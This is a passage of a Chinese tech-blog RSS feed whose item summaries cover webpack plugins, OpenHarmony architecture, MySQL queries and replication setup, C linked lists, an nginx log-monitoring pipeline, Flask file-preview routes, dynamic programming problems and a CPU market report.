多进程执行代码压缩，提升构建速度webpack-bundle-analyzer : 可视化 Webpack 输出文件的体积speed-measure-webpack-plugin : 可以看到每个 Loader 和 Plugin 执行耗时 (整个打包耗时、每个 Plugin 和 Loader 耗时)mini-css-extract-plugin : 分离样式文件，CSS 提取为独立文件，支持按需加载 4.</description>
    </item>
    <item>
      <title>HarmonyOS(鸿蒙系统)体系</title>
      <link>https://bchobby.github.io/posts/a5bf7ac9d3eae31f1303696fc2fc98e6/</link>
      <pubDate>Sat, 30 Dec 2023 20:36:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5bf7ac9d3eae31f1303696fc2fc98e6/</guid>
      <description>HarmonyOS 鸿蒙系统体系 一、OpenHarmony平台架构二、OpenHarmony源码下载* IDE开发工具HUAWEI DevEco Device ToolHUAWEI DevEco Studio HarmonyOS应用开发 HarmonyOS(鸿蒙系统) 鲲鹏 昇腾 EulerOS(欧拉系统) 仓颉\&#xA;Harmonyos官网&#xA;HarmonyOS Developer 华为开发者官网&#xA;HarmonyOS 鸿蒙系统 | 鸿蒙学堂&#xA;华为开发者联盟&#xA;华为鸿蒙系统_百度百科&#xA;鸿蒙论坛&#xA;一、OpenHarmony平台架构 OpenHarmony整体遵从分层设计，从下向上依次为：内核层、系统服务层、框架层和应用层。系统功能按照“系统 &amp;gt; 子系统 &amp;gt; 组件”逐级展开，在多设备部署场景下，支持根据实际需求裁剪某些非必要的组件。OpenHarmony技术架构如下所示：&#xA;内核层&#xA;内核子系统：采用多内核（Linux内核或者LiteOS）设计，支持针对不同资源受限设备选用适合的OS内核。内核抽象层（KAL，Kernel Abstract Layer）通过屏蔽多内核差异，对上层提供基础的内核能力，包括进程/线程管理、内存管理、文件系统、网络管理和外设管理等。&#xA;驱动子系统：驱动框架（HDF）是系统硬件生态开放的基础，提供统一外设访问能力和驱动开发、管理框架。&#xA;系统服务层&#xA;系统服务层是OpenHarmony的核心能力集合，通过框架层对应用程序提供服务。该层包含以下几个部分：&#xA;系统基本能力子系统集：为分布式应用在多设备上的运行、调度、迁移等操作提供了基础能力，由分布式软总线、分布式数据管理、分布式任务调度、公共基础库、多模输入、图形、安全、AI等子系统组成。&#xA;基础软件服务子系统集：提供公共的、通用的软件服务，由事件通知、电话、多媒体、DFX（Design For X） 等子系统组成。&#xA;增强软件服务子系统集：提供针对不同设备的、差异化的能力增强型软件服务，由智慧屏专有业务、穿戴专有业务、IoT专有业务等子系统组成。&#xA;硬件服务子系统集：提供硬件服务，由位置服务、用户IAM、穿戴专有硬件服务、IoT专有硬件服务等子系统组成。&#xA;根据不同设备形态的部署环境，基础软件服务子系统集、增强软件服务子系统集、硬件服务子系统集内部可以按子系统粒度裁剪，每个子系统内部又可以按功能粒度裁剪。&#xA;框架层&#xA;框架层为应用开发提供了C/C++/JS等多语言的用户程序框架和Ability框架，适用于JS语言的ArkUI框架，以及各种软硬件服务对外开放的多语言框架API。根据系统的组件化裁剪程度，设备支持的API也会有所不同。&#xA;应用层&#xA;应用层包括系统应用和第三方非系统应用。应用由一个或多个FA（Feature Ability）或PA（Particle Ability）组成。其中，FA有UI界面，提供与用户交互的能力；而PA无UI界面，提供后台运行任务的能力以及统一的数据访问抽象。基于FA/PA开发的应用，能够实现特定的业务功能，支持跨设备调度与分发，为用户提供一致、高效的应用体验。&#xA;二、OpenHarmony源码下载 OpenHarmony基础开发&#xA;开启 OpenHarmony 之旅&#xA;OpenHarmony 获取源码：开源代码仓库地址 https://openharmony.gitee.com。&#xA;OpenHarmony攻略之下载代码篇&#xA;* IDE开发工具 HUAWEI DevEco Device Tool HUAWEI DevEco Device Tool 使用指南</description>
    </item>
    <item>
      <title>【MySQL从入门到精通】常用SQL语句分享</title>
      <link>https://bchobby.github.io/posts/41904c035698696c031efdefdadf2500/</link>
      <pubDate>Sat, 30 Dec 2023 20:30:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41904c035698696c031efdefdadf2500/</guid>
      <description>前言：&#xA;日常工作或学习过程中，我们可能会经常用到某些SQL，建议大家多多整理记录下这些常用的SQL，这样后续用到会方便很多。笔者在工作及学习过程中也整理了下个人常用的SQL，现在分享给你！可能有些SQL你还不常用，但还是希望对你有所帮助，说不定某日有需求就可以用到。&#xA;注：下文分享的SQL适用于MySQL 5.7 版本，低版本可能稍许不同。有些SQL可能执行需要较高权限。&#xA;1.show相关语句 # 查看实例参数 例如： show variables like &#39;%innodb%&#39;; show global variables like &#39;%innodb%&#39;; # 查看实例状态，例如： show status like &#39;uptime%&#39;; show global status like &#39;connection%&#39;; # 查看数据库链接： show processlist; show full processlist; # 查询某个表的结构： show create table tb_name; # 查询某个表的详细字段信息： show full columns from tb_name; # 查询某个表的全部索引信息： show index from tb_name; # 查询某个库以cd开头的表： show tables like &#39;cd%&#39;; # 查询某个库中的所有视图： show table status where comment=&#39;view&#39;; # 查询某个用户的权限： show grants for &#39;test_user&#39;@&#39;%&#39;; 2.</description>
    </item>
    <item>
      <title>idea跟windows系统快捷键冲突解决</title>
      <link>https://bchobby.github.io/posts/7421cc92e504ecdc1d910fb857709dc9/</link>
      <pubDate>Sat, 30 Dec 2023 20:11:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7421cc92e504ecdc1d910fb857709dc9/</guid>
      <description> </description>
    </item>
    <item>
      <title>跨语言调用</title>
      <link>https://bchobby.github.io/posts/2515af3f7cffdc4fe2a088b27c3039de/</link>
      <pubDate>Sat, 30 Dec 2023 20:04:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2515af3f7cffdc4fe2a088b27c3039de/</guid>
      <description>一、Objective-C OC调用Swift： 创建桥接文件&#xA;使用@objcMembers修饰的swift类可以被OC使用&#xA;@objcMembers class SwiftExample: NSObject { @objc func OC_Call_Swift() { print(&#34;oc call swift&#34;) } @objc static func OC_Call_Swift_static() { print(&#34;oc call swift static&#34;) } @objc class func OC_Call_Swift_class() { print(&#34;oc call swift class&#34;) } } OC部分&#xA;#import &#34;OCExample.h&#34; #import &#34;Runner-Swift.h&#34; @implementation OCExample - (void)OC_Call_Swift { SwiftExample *swiftExample = [[SwiftExample alloc] init]; [swiftExample OC_Call_Swift]; [SwiftExample OC_Call_Swift_static]; [SwiftExample OC_Call_Swift_class]; } @end OC调用C和C++： 不需要桥接，可以直接调用&#xA;#ifndef CExample_h #define CExample_h #include &amp;lt;stdio.</description>
    </item>
    <item>
      <title>【数据结构】链式家族的成员——循环链表与静态链表</title>
      <link>https://bchobby.github.io/posts/731258ffdd0c1048bff555f4cae60caa/</link>
      <pubDate>Sat, 30 Dec 2023 19:57:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/731258ffdd0c1048bff555f4cae60caa/</guid>
      <description>循环链表与静态链表 导言一、循环链表1.1 循环单链表1.2 循环双链表 二、静态链表2.1 静态链表的创建2.2 静态链表的初始化2.3 小结 结语 导言 大家好！很高兴又和大家见面啦！！！&#xA;经过前面的介绍，相信大家对链式家族的成员——单链表与双链表的相关内容都已经熟练掌握了。前面我们重点介绍了通过C语言来实现单链表与双链表的一些基本操作，希望大家私下能够多多练习一下，帮助自己去吸收消化这些内容。&#xA;在今天的篇章中，我们要介绍的是线性表的链式存储另外两个成员——循环链表与静态链表，有了单链表与双链表的基础，相信大家应该能够很容易理解今天的内容。接下来我们就来一起看看吧！&#xA;一、循环链表 在前面介绍的单链表和双链表中，我们会发现，不管是单链表的表尾结点还是双链表的头结点和表尾结点，它们在创建好后指向的内容都是空指针，如下图所示：&#xA;正因为这种存储结构，导致我们在处理表头元素、表尾元素与表中元素时会有些许的差异，比如：&#xA;在双链表中，我们采用后插法插入元素时，就需要判断该结点的后继结点是否为空指针；在单链表中，如果我们需要找到结点的前驱结点，我们只能通过从表头元素开始查找； 为了完善单链表与双链表的缺点，我们就可以将单链表与双链表做一个调整，如下所示：&#xA;我们将单链表的表尾结点的指针域指向了头结点；&#xA;将双链表的表尾指针的后继指针指向了头结点，将双链表的头结点的前驱指针指向了表尾结点；&#xA;经过这个调整后我们会发现，此时的单链表和双链表都闭合起来了，这样闭合的链表我们将其称为循环链表。接下来我们就来分别介绍一下这两种循环链表相比于之前的改动；&#xA;1.1 循环单链表 循环单链表也就是表尾结点的指针域指向的是单链表的第一个结点，而头指针指向的也是单链表的第一个结点，所以我们可以认为，在循环单链表中，表尾结点的指针域指向的是头指针L。&#xA;正因为这个点所以在对循环单链表进行判空操作时我们就有了一个改动：&#xA;由原先的判断头结点的指针域指向指向的是不是NULL，改为指向的是不是L； 用C语言来表示则是：&#xA;//循环单链表的判空 bool Empty(LinkList L) { assert(L);//当指针L为空指针时报错 if (L-&amp;gt;next == L) return true; else return false; } 不管是单链表还是循环单链表，它们的插入、删除是一致的，唯一的区别就是，我们在对表尾结点的处理上会有差异：&#xA;单链表的表尾结点的指针域判断指向的是NULL；循环单链表的表尾结点的指针域判断指向的是L； 用C语言来表式则是：&#xA;//循环链表的表尾结点判断 bool isTail(LinkList L,LNode* p) { assert(L &amp;amp;&amp;amp; p);//当指针L与指针p其中一个为空指针时报错 if (p-&amp;gt;next == L) return true;//当结点p的后继指针指向L时表明此时的结点p为表尾结点 else return false;//当它们不相等时表明此时的结点p不是表尾结点 } 我们在对单链表进行遍历时，只能是从头结点开始往后进行遍历，但是在循环链表中，我们可以从任意结点往后遍历，用C语言来表示的话我们则可以写成：&#xA;//循环链表的遍历 bool Ergodic(LNode* p) { assert(p);//当p为空指针时报错 LNode* r = p-&amp;gt;next;//进行遍历的指针r while (r-&amp;gt;next !</description>
    </item>
    <item>
      <title>nginx&#43;rsyslog&#43;kafka&#43;clickhouse&#43;grafana 实现nginx 网关监控</title>
      <link>https://bchobby.github.io/posts/5a31566547bf284c71a7cde364b9c337/</link>
      <pubDate>Sat, 30 Dec 2023 19:36:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a31566547bf284c71a7cde364b9c337/</guid>
      <description>需求 我想做一个类似腾讯云网关日志最终以仪表方式呈现，比如说qps、p99、p95的请求响应时间等等 流程图 数据流转就像标题&#xA;nginx ----&amp;gt; rsyslog ----&amp;gt; kafka —&amp;gt; clickhouse —&amp;gt; grafana&#xA;部署 kafka kafka 相关部署这里不做赘述，只要创建一个topic 就可以&#xA;这里kafka地址是 192.168.1.180,topic是``&#xA;rsyslog 设置 rsyslog 具体是啥东西这个我这里也不做介绍，本人也是一个后端开发不是做运维的，只知道这个东西性能不错，算是logstash 平替把&#xA;# 安装rsyslog-kafka 插件 yum install -y rsyslog-kafka # 创建一个配置 vim /etc/rsyslog.d/rsyslog_nginx_kafka_cluster.conf conf 内容&#xA;module(load=&#34;imudp&#34;) input(type=&#34;imudp&#34; port=&#34;514&#34;) # nginx access log ==&amp;gt; rsyslog server(local) ==&amp;gt; kafka module(load=&#34;omkafka&#34;) template(name=&#34;nginxLog&#34; type=&#34;string&#34; string=&#34;%msg%&#34;) if $inputname == &#34;imudp&#34; then { # 这里的名字和下面nginx 配置tag 相同 if ($programname == &#34;nginx_access_log&#34;) then action(type=&#34;</description>
    </item>
    <item>
      <title>JRP-Version-1.2.2023.12.30</title>
      <link>https://bchobby.github.io/posts/f060c734396c823f9db584c373072b89/</link>
      <pubDate>Sat, 30 Dec 2023 19:24:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f060c734396c823f9db584c373072b89/</guid>
      <description>Version : 1.2.2023.12.30&#xA;修改项：&#xA;增加部分格式的文本和视频浏览的功能&#xA;self.app.route(&#39;/view_file/&amp;lt;path:file_name&amp;gt;&#39;)(self.view_file) # 预览 self.app.route(&#39;/preview/&amp;lt;path:file_name&amp;gt;&#39;)(self.preview) # 跳转预览网页 self.app.route(&#39;/send_view_file/&amp;lt;path:filename&amp;gt;&#39;)(self.send_view_file) # 根据不同文件，发送文件给HTML显示 函数块：&#xA;def view_file(self, file_name): if not file_name.startswith(&#39;/&#39;): if not re.match(&#39;.:&#39;, file_name): file_name = &#39;/&#39; + file_name return render_template(&#39;index.html&#39;, foldername=file_name, show_view_file=True, show_upload=False ) def preview(self, file_name): type_ = file_name.split(&#39;.&#39;)[-1] # 防止多个 .. 造成判断错误 if not file_name.startswith(&#39;/&#39;): if not re.match(&#39;.:&#39;, file_name): file_name = &#39;/&#39; + file_name return render_template(&#39;preview.html&#39;, filename=file_name, pre_type=type_ ) def send_view_file(self, filename): # 设置文件文件夹路径 if not filename.</description>
    </item>
    <item>
      <title>【数据结构】C语言实现双链表的基本操作</title>
      <link>https://bchobby.github.io/posts/ce35ebde39fc1a3e573eb132d53480b9/</link>
      <pubDate>Sat, 30 Dec 2023 19:15:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce35ebde39fc1a3e573eb132d53480b9/</guid>
      <description>双链表及其基本操作的实现 导言一、单链表与双链表二、双链表类型的创建三、双链表的初始化四、双链表的创建五、双链表的遍历六、双链表的查找七、双链表的插入八、双链表的删除九、双链表基本操作完整代码展示结语 导言 大家好，很高兴又和大家见面啦！！！&#xA;经过前面几个篇章的内容分享，相信大家对顺序表和单链表的基本操作都已经熟练掌握了。今天咱们将继续分享线性表的链式存储的第二种形式——双链表。在今天的内容中，咱们将介绍双链表的创建以及一些基本操作，接下来跟我一起来看看吧！&#xA;一、单链表与双链表 线性表的链式存储称为链表，链表是由数据域和指针域组成。&#xA;由一个数据域和一个指针域组成的链表我们称为单链表，单链表的指针域指向后继结点，所以我们在访问单链表时只能从前往后访问。这就导致了一个问题：我们在访问后继结点时的时间复杂度为O(1)，但是在访问前驱结点时的时间复杂度却是O(n)。&#xA;为了克服单链表的这种单一访问的缺点，于是我们在单链表的结点上新增了一个指针域，使得链表上的每个结点都由一个数据域和两个指针域组成，双链表的结点结构如下所示：&#xA;这两个指针域一个指向后继结点(next)，一个指向前驱结点(prior)，我们将由这种结构的结点构成的链表称为双链表。&#xA;双链表和单链表一样，双链表也有带头结点的双链表与不带头结点的双链表，在没有特殊说明的情况下，我们都是以带头结点的双链表进行说明。接下来我们就来看一下与双链表相关的基本操作；&#xA;二、双链表类型的创建 我们首先来看一下双链表的类型创建的基本格式：&#xA;//双链表类型创建的基本格式 typedef struct DNode { ElemType data;//数据域 struct DNode* prior, * next;//指针域 }DNode, * DLinkList;//数据类型重命名 //DNode——Double Node——强调的是双链表的结点 //DLinkList——强调的是指向双链表的指针，也就是整个双链表 //prior——在先的，在前的，先前的——指向前驱结点的指针 //next——下一个的，紧接着的，接下来的——指向后继结点的指针 //ElemType——数据元素的数据类型 //data——存储链表数据元素的变量 从格式中可以看到，其实双链表与单链表的类型创建格式是一致的，它们之间的差别有以下几点：&#xA;为了对这两种类型的链表有所区分，单链表的结点类型我们将其定义为LNode，双链表则是DNode；单链表的类型我们将其定义为LinkList，双链表则是DLinkList；在双链表中，我们定义了一个额外的指针prior用于指向前驱结点； 有了这个基本格式，我们同样还是以整型类型的数据元素为例来定义一个双链表，如下所示：&#xA;//创建双链表类型 typedef struct DNode { int data; struct DNode* prior, * next; }DNode, * DLinkList; int main() { DLinkList L;//定义指向双链表的头指针 return 0; } 有了双链表的头指针，接下来我们就可以来创建双链表的头结点并将其初始化了；&#xA;三、双链表的初始化 我们先来看一下双链表初始化的基本格式：&#xA;//双链表初始化的基本格式 bool InitDLinkList(DLinkList* L) { *L = (DNode*)calloc(1, sizeof(DNode));//创建头结点 assert(*L);//如果头结点创建失败，则报错 (*L)-&amp;gt;prior = NULL;//初始化前驱指针 (*L)-&amp;gt;next = NULL;//初始化后继指针 return true; } 可以看到，对于双链表来说，我们在初始化头结点时不仅要将后继指针进行初始化，还要将前驱指针进行初始化，这样是为了防止这两个指针变成野指针。</description>
    </item>
    <item>
      <title>深入探索MySQL主从架构与读写分离：提升数据安全和性能的实战指南</title>
      <link>https://bchobby.github.io/posts/6c5a7359a6db660f2098acdd31f72852/</link>
      <pubDate>Sat, 30 Dec 2023 18:57:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c5a7359a6db660f2098acdd31f72852/</guid>
      <description>一、实验目的与环境 实验目的： MySQL是互联网中广泛使用的开源数据库。在开发时，我们通常使用单机服务，但在生产环境中，由于数据量庞大和高安全性要求，单机MySQL无法满足这些需求。因此，生产环境中的MySQL需要建立主从复制架构和基于工具的高可用架构，同时实现读写分离。对于极大的数据量，还需实现分库分表。这些架构的建立相对复杂，通常由专业运维人员完成。本次实验旨在让大家理解MySQL在生产环境下的架构，并应用于实际项目中，也为学习ShardingSphere分库分表做准备&#xA;实验环境： 1、Linux服务器两台：centos7&#xA;2、mysql版本：mysql-8.0.20&#xA;二、基础环境介绍 两台服务器，均安装CentOS7。&#xA;1、 192.168.232.128 作为mysql主节点部署&#xA;2、 192.168.232.129 作为mysql从节点部署&#xA;mysql版本：mysql-8.0.20&#xA;为了便于使用，两个mysql服务需要打开远程登录权限，开启方式需要在本机登录 mysql，执行以下语句。&#xA;#开启远程登录 use mysql; update user set host= &#39;% &#39; where user= &#39;root &#39;; flush privileges; 三、搭建主从集群 1、理论基础 主从架构的作用是缓解MySQL的数据存储和访问压力。这一架构不仅对提高系统性能至关重要，还对确保数据安全发挥着重要作用。&#xA;数据安全：通过在主服务增加一个备份，主从架构提升了数据的安全性。基于这个目的，可以构建标准的主从架构，或者更进一步，搭建互主架构以进一步增强安全性。&#xA;读写分离：考虑到大多数JAVA业务系统中读操作远多于写操作，主从架构使得从服务可以承担读请求，而主服务专注于处理写请求。这不仅减轻了数据库的访问压力，也提高了整体性能。但要注意，实现有效的读写分离还需要依赖特定的中间件，例如ShardingSphere。&#xA;故障转移与高可用性：在主服务发生故障时，从服务可以迅速转变为主服务，保证数据的连续可读写。要实现这种高可用性，主从数据同步是基础，但也需要依赖其他中间件，如MMM、MHA、MGR。在数据库访问压力不大的项目中，尽管读写分离可能不是必需的，但搭建主从架构和保证高可用性是基本要求。&#xA;2、同步的原理 MySQL的主从架构通常通过binlog日志文件进行数据同步。具体步骤如下：&#xA;在主服务上，开启binlog记录每一步的数据库操作。&#xA;从服务上有一个IO线程，负责与主服务建立TCP连接，请求主服务传输binlog。&#xA;主服务上有一个IO dump线程，通过TCP连接将Binlog日志传输给从库的IO线程。&#xA;从服务的IO线程将读取到的binlog日志数据写入自己的relay日志文件中。&#xA;从服务上的SQL线程读取relay日志中的内容，进行操作重演，以还原数据。&#xA;这种主从架构通常用于MySQL的读写分离配置。&#xA;MySQL的binlog不仅可以用于主从同步，还可用于缓存数据同步等情景。例如，Canal可以模拟一个从节点，向MySQL发起binlog同步，然后将数据传输到Redis、Kafka等其他组件，实现实时数据流转。&#xA;在搭建主从集群时，有两个必要的要求：&#xA;双方MySQL版本必须一致，至少需要主服务的版本低于从服务。&#xA;两节点间的时间需要同步。&#xA;3、搭建主从集群 3.1 配置master主服务器 首先，配置主节点的mysql配置文件： /etc/my.cnf 这一步需要对master进行配置，主要是需要打开binlog日志，以及指定severId。我们打开MySQL主服务的my.cnf文件，在文件中一行server-id以及一个关闭域名解析的配置。然后重启服 务。&#xA;[mysqld] server-id=47 #开启binlog log_bin=master-bin log_bin-index=master-bin.index skip-name-resolve # 设置连接端口 port=3306 # 设置mysql的安装目录 basedir=/usr/local/mysql # 设置mysql数据库的数据的存放目录 datadir=/usr/local/mysql/mysql-files # 允许最大连接数 max_connections=200 # 允许连接失败的次数。 max_connect_errors=10 # 服务端使用的字符集默认为UTF8 character-set-server=utf8 # 创建新表时将使用的默认存储引擎 default-storage-engine=INNODB # 默认使用“mysql_native_password”插件认证 #mysql_native_password default_authentication_plugin=mysql_native_password 重启MySQL服务， service mysqld restart</description>
    </item>
    <item>
      <title>【十】【C语言\动态规划】376. 摆动序列、673. 最长递增子序列的个数、646. 最长数对链，三道题目深度解析</title>
      <link>https://bchobby.github.io/posts/170eb982dc1793a831be2a78d68843df/</link>
      <pubDate>Sat, 30 Dec 2023 18:55:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/170eb982dc1793a831be2a78d68843df/</guid>
      <description>动态规划 动态规划就像是解决问题的一种策略，它可以帮助我们更高效地找到问题的解决方案。这个策略的核心思想就是将问题分解为一系列的小问题，并将每个小问题的解保存起来。这样，当我们需要解决原始问题的时候，我们就可以直接利用已经计算好的小问题的解，而不需要重复计算。&#xA;动态规划与数学归纳法思想上十分相似。&#xA;数学归纳法：&#xA;基础步骤（base case）：首先证明命题在最小的基础情况下成立。通常这是一个较简单的情况，可以直接验证命题是否成立。&#xA;归纳步骤（inductive step）：假设命题在某个情况下成立，然后证明在下一个情况下也成立。这个证明可以通过推理推断出结论或使用一些已知的规律来得到。&#xA;通过反复迭代归纳步骤，我们可以推导出命题在所有情况下成立的结论。&#xA;动态规划：&#xA;状态表示：&#xA;状态转移方程：&#xA;初始化：&#xA;填表顺序：&#xA;返回值：&#xA;数学归纳法的基础步骤相当于动态规划中初始化步骤。&#xA;数学归纳法的归纳步骤相当于动态规划中推导状态转移方程。&#xA;动态规划的思想和数学归纳法思想类似。&#xA;在动态规划中，首先得到状态在最小的基础情况下的值，然后通过状态转移方程，得到下一个状态的值，反复迭代，最终得到我们期望的状态下的值。&#xA;接下来我们通过三道例题，深入理解动态规划思想，以及实现动态规划的具体步骤。&#xA;376. 摆动序列 - 力扣（LeetCode） 题目解析 状态表示 状态表示一般通过经验+题目意思得到。&#xA;经验是指以某个位置为结尾或者以某个位置为开始。&#xA;我们可以很容易定义这样一个状态表示，定义dp[i]表示以i位置元素为结尾的子序列中，最长的摆动序列长度。&#xA;我们可以尝试推导一下状态转移方程。&#xA;dp[i]表示以i位置元素为结尾的子序列中，最长的摆动序列长度。&#xA;我们针对于（以i位置元素为结尾的子序列，以及i位置元素状态）进行分析，想一想dp[i]能不能由其他状态推导得出。&#xA;如果只考虑i位置一个元素， 最长的摆动序列长度为1，故dp[i]=1。&#xA;如果不止考虑i位置一个元素， 我们发现还需要考虑i位置元素处于“上升”状态还是“下降”状态&#xA;如果i位置元素处于“上升”状态，i位置元素可以跟在前面任意（nums[j]&amp;lt;nums[i]）的元素后面，我们假设i位置元素跟着j位置元素后面，j位置元素需要处于“下降”状态，而我们要考虑的是最长的摆动序列长度，所以j需要遍历（0~i-1），dp[i]=max（j位置元素（处于”下降“状态，最长的摆动序列长度）+1）j∈[0~i-1]。&#xA;如果i位置元素处于“下降”状态，i位置元素可以跟在前面任意（nums[j]&amp;gt;nums[i]）的元素后面，我们假设i位置元素跟着j位置元素后面，j位置元素需要处于“上升”状态，而我们要考虑的是最长的摆动序列长度，所以j需要遍历（0~i-1），dp[i]=max（j位置元素（处于”上升“状态，最长的摆动序列长度）+1）j∈[0~i-1]。&#xA;我们发现只定义（dp[i]表示以i位置元素为结尾的子序列中，最长的摆动序列长度）这个状态表示是没办法推导出状态转移方程，所以我们修正一下状态表示。&#xA;定义 ，&#xA;f[i]表示以i位置元素为结尾的子序列中，处于“上升”状态时，最长的摆动序列长度。&#xA;g[i]表示以i位置元素为结尾的子序列中，处于“下降”状态时，最长的摆动序列长度。&#xA;状态转移方程 我们针对于（以i位置元素为结尾的子序列，以及i位置元素状态）进行分析，想一想dp[i]能不能由其他状态推导得出。&#xA;如果只考虑i位置一个元素， 最长的摆动序列长度为1，故f[i]=g[i]=1。&#xA;如果不止考虑i位置一个元素， 我们发现还需要考虑i位置元素处于“上升”状态还是“下降”状态&#xA;如果i位置元素处于“上升”状态，i位置元素可以跟在前面任意（nums[j]&amp;lt;nums[i]）的元素后面，我们假设i位置元素跟着j位置元素后面，j位置元素需要处于“下降”状态，而我们要考虑的是最长的摆动序列长度，所以j需要遍历（0~i-1），f[i]=max（g[j]+1）j∈[0~i-1],g[i]=1。&#xA;如果i位置元素处于“下降”状态，i位置元素可以跟在前面任意（nums[j]&amp;gt;nums[i]）的元素后面，我们假设i位置元素跟着j位置元素后面，j位置元素需要处于“上升”状态，而我们要考虑的是最长的摆动序列长度，所以j需要遍历（0~i-1），g[i]=max（f[i]+1）j∈[0~i-1],f[i]=1。&#xA;将上述情况进行简化和合并，我们发现有许多情况f[i]=g[i]=1，并且1是最低的标准，任何位置的状态最少都是1，所以我们可以把这些情况放在初始化部分处理，即先把所有位置的状态初始化为1。&#xA;所以我们可以得到状态转移方程，&#xA;for (int i = 1; i &amp;lt; n; i++) { for (int j = 0; j &amp;lt; i; j++) { if (nums[i] &amp;gt; nums[j]) { f[i] = fmax(f[i], g[j] + 1); } else if (nums[i] &amp;lt; nums[j]) { g[i] = fmax(g[i], f[j] + 1); } } } 初始化 根据状态转移方程，我们推导i位置的状态时，需要用到（0~i-1）位置的状态，所以我们应该初始化第一个位置的状态，即f[0]=g[0]=1。</description>
    </item>
    <item>
      <title>2023年服务器计算机CPU行业报告</title>
      <link>https://bchobby.github.io/posts/f0e1f84e2db700cc77aff84b91811f60/</link>
      <pubDate>Sat, 30 Dec 2023 18:39:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0e1f84e2db700cc77aff84b91811f60/</guid>
      <description>本文来自“2023年服务器计算机CPU行业词条报告”，中国计算机CPU行业发展进入“快车道”，在2019-2021年间以6.91%的平均增速稳步快速增长，预计到2027年中国CPU市场规模将达710.75亿元。随着中国本土计算机CPU企业的技术创新和研发投入不断增加，中国与海外计算机CPU市场结构发生显著变化，中国企业的身影正逐步进入人们的视野，成为全球芯片产业中备受瞩目的一部分。&#xA;1、计算机CPU行业定义&#xA;计算机CPU全称为中央处理器，通常由控制单元、算术逻辑单元（ALU）和寄存器组成，是一种负责解释和运算计算机程序中的指令以及控制计算机操作的集成电路，对计算机的性能和运行效率具有重要影响。随着第四次工业革命的来临，CPU作为计算机的运算和控制核心，有望深入到自动化生产线控制、工业物联网、人机交互和机器学习等全新的应用场景，潜在市场和需求有稳步扩大的发展态势。&#xA;2、计算机CPU行业分类&#xA;按照计算机CPU所使用的指令集架构划分，目前主流的CPU可分为使用MIPS架构、X86架构、ARM架构和RISC-V架构的CPU。&#xA;3、计算机CPU行业特征&#xA;中国计算机CPU行业的特征包括：外企主导市场，中国与海外市场竞争激烈；技术依赖性强，自研阻力大；客户集中风险大，影响企业利润水平。随着国产CPU的逐步崛起，中国计算机CPU行业将朝着自主化、产业化的&#xA;外企主导市场，中国与海外市场竞争激烈&#xA;全球通用处理器市场主要由Wintel（微软与英特尔）和AA（谷歌与ARM）两大生态系统主导。2022年，Intel在全球服务器CPU市场占据了70.77%的份额，而AMD为19.8%，这两大巨头的CR2达到了90.57%，凸显了其在国际CPU市场的垄断地位。在中国，Intel和AMD在X86服务器CPU市场的份额分别为91.0%和5.7%。尽管近十年中国涌现出华为鲲鹏、龙芯等本土企业，但大多独立运作，且存在多种CPU架构，这种多样性可能导致资源分散，增加行业内部竞争，从而影响整体效益。如果此趋势持续，中国CPU行业可能难以产生能与全球主流厂商，如Intel和AMD，有效竞争的产品。&#xA;技术依赖性强，自研阻力大&#xA;在指令集架构上，中国CPU行业存在两种发展方向：一是“授权+自研”，发展自主可控的指令集架构，如龙芯中科脱胎于MIPS架构，自主研发的LoongArch架构和上海申威基于Alpha架构研发的SW64架构。这种方向的优势在于可以实现自主可控，很大程度上避免出现“卡脖子”的不利局面，并且能满足中国应用领域的需求；劣势在于基础薄弱，研发成本高，产品生态小众，难以进入国际主流CPU之列。&#xA;二是“纯授权”，通过与国外企业达成架构授权协议，使用现成的架构，如飞腾、华为海思均使用ARM架构，上海兆芯和海光信息均使用X86架构。但目前ARM和X86架构已停止向中国企业授权，即使拥有永久授权的企业，也将面临架构停止更新、技术逐步落后的难题。这种方向的优势在于可利用已成熟的技术和生态，拓宽下游市场，降低企业研发成本和技术门槛；劣势在于受架构知识产权制约和国际形势影响，很难实现自主可控，难以规避各种制裁，同时需要支付高额的架构版权费，降低企业利润。在芯片制造上，中国芯片国产化率低，在2020年该指标仅为16%，且主要集中在28nm级别以上的中低端芯片，高端芯片的渗透率低，14nm/16nm级别以下的芯片大多由台积电、AMSL等境外厂商代工。在芯片生产的供应链上游，中国CPU各大厂商均大量使用了国外的技术和设备。&#xA;4、计算机CPU产业链分析&#xA;中国计算机CPU产业链结构较为复杂，涉及众多外企和中国本土企业。上游环节包括圆晶代工、封装测试、架构设计和授权三个关键部分，代表企业有台积电、长电科技、Intel；中游环节包括CPU的设计和制造，代表企业有海光信息、龙芯中科、海思半导体；下游环节包括服务器、工作站、PC/平板、移动终端和嵌入式设备等，代表企业有华为、联想、比亚迪、海康威视。&#xA;中国CPU产业链上游拥有较强的议价能力，利润率较高，能够对中游企业进行纵向垄断，且垄断性强，呈外企/台企占据主导地位，中国大陆本土企业紧随其后的发展态势。产业链中游发展存在转移趋势。中国的芯片设计和制造能力在过去几年里有了显著提升，越来越多中国企业开始在CPU设计和制造领域投入大量资源，并取得了一定的成果。这表明产业链中游正在向中国发展，逐步减少对外依赖。&#xA;产业链下游市场正迎来拓展民用市场的重大机遇。中国CPU企业需要及时拓展业务范围，增加有效投资和技术开发，满足多样化的市场需求，实现全产业链的发展和突破。产业链发展堵点则主要集中在技术和知识产权方面的挑战。CPU的设计和制造涉及高度复杂的技术和专利，中国CPU企业在这方面的积累和创新仍然有一定的差距。此外，资金和人才的供给也是限制产业链发展的重要因素之一。&#xA;产业链上游&#xA;晶圆代工或晶圆专工指的是半导体产业的一种营运模式,专门从事半导体晶圆制造生产,接受其他IC设计公司委托制造,而不自己从事设计，目前多数CPU厂商均采用该模式。&#xA;（1）从供给角度分析，中国正逐步实现圆晶代工自给，增强圆晶代工环节的可控性，进一步保障中国CPU产业链在圆晶代工环节的国家安全。&#xA;（2）从议价能力角度分析，圆晶代工头部企业具有较高的毛利率。以具有一定代表性的行业龙头台积电、格芯、中芯国际为例，其毛利率分别为62.2%、60.1%和53.1%。&#xA;产业链中游&#xA;CPU设计企业执行芯片级的设计工作，将CPU架构转化为具体的电路设计。这包括利用